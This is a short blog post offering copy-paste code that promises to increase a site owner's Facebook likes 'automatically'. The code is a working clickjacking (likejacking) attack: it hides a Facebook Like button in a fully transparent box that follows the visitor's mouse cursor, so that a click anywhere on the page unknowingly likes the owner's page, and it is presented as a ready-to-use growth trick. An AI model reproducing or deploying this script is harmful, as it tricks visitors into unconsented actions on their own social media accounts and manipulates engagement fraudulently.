Increase Facebook Like automatically

facebook like script :: futureX
Here is the code you can use for
increasing your Facebook likes
automatically.

Auto Like script can get activated whenever someone check your site or blog. This is a awesome script for anyone wanting to make a viral Facebook fan page. Everyone that goes to your site will like you page automatically (We all clicks at least once on any site, we just don't realize it).


1) Put this script before </head> tag.

<script src="http://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
var interval;
        $(function()
{
    interval=setInterval("updateActiveElement();", 50);
});

function updateActiveElement()
{
    if ( $(document.activeElement).attr('id')=="fbframe" )
    {
        clearInterval(interval);
        iflag=1;
    }  
}
       
</script>



2) Put this code before </body> tag.


<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">

         <iframe src="http://www.facebook.com/plugins/like.php?href=YOUR FACEBOOK ID HERE&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
       
      <!--end facebook like frame code-->

    </div>
   
   
      <script>
    var iflag = 0;
    var icontainer = document.getElementById('icontainer');  
    var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
   
   
   
    function mouseFollower(e){

/*                    DO NOT EDIT THIS                         */

    if (window.event)
    { // for IE
        icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
        icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
    }
    else
    {
        icontainer.style.top = (e.pageY-5)+'px';
        icontainer.style.left = (e.pageX-5)+'px';
    }

    }
    document.onmousemove = function(e) {
        if (iflag == 0) {mouseFollower(e);}
    }

    </script>

0 comments:

Related Posts Plugin for WordPress, Blogger...
Copyright © 2013 futureX | Blogger Template by Clairvo